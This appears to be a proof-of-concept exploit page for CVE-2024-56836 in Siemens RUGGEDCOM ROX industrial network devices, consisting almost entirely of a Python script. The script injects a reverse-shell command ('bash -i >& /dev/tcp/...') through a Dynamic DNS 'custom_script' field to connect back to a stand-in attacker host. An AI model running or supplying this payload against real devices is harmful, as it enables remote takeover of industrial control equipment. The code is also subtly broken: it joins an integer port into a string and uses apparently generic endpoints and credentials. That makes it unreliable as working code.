CVE-2024-56836 西门子RUGGEDCOM ROX设备Dynamic DNS配置注入漏洞

# CVE-2024-56836 PoC - RUGGEDCOM ROX Dynamic DNS Configuration Injection # This PoC demonstrates the configuration injection vulnerability import requests import json TARGET_IP = "192.168.1.100" TARGET_PORT = 443 ATTACKER_IP = "attacker.example.com" ATTACKER_PORT = 4444 def exploit_dyndns_injection(): """ Exploit CVE-2024-56836: Dynamic DNS configuration injection Allows injection of additional configuration parameters to spawn reverse shell """ # Construct malicious Dynamic DNS configuration with command injection # The injection payload attempts to spawn a reverse shell malicious_config = { "ddns_config": { "enabled": True, "provider": "custom", "hostname": "vulnerable-device", # Malicious injection payload "custom_script": "; bash -i >& /dev/tcp/" + ATTACKER_IP + "/" + ATTACKER_PORT + " 0>&1 #" } } login_url = f"https://{TARGET_IP}:{TARGET_PORT}/api/login" config_url = f"https://{TARGET_IP}:{TARGET_PORT}/api/ddns/config" # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } try: login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code == 200: # Step 2: Submit malicious Dynamic DNS configuration inject_response = session.post(config_url, json=malicious_config, verify=False, timeout=10) if inject_response.status_code == 200: print("[+] Configuration injection successful!") print("[+] Reverse shell should connect to:", f"{ATTACKER_IP}:{ATTACKER_PORT}") else: print("[-] Configuration injection failed") else: print("[-] Authentication failed") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2024-56836 RUGGEDCOM ROX Dynamic DNS Configuration Injection PoC") print("=" * 70) exploit_dyndns_injection()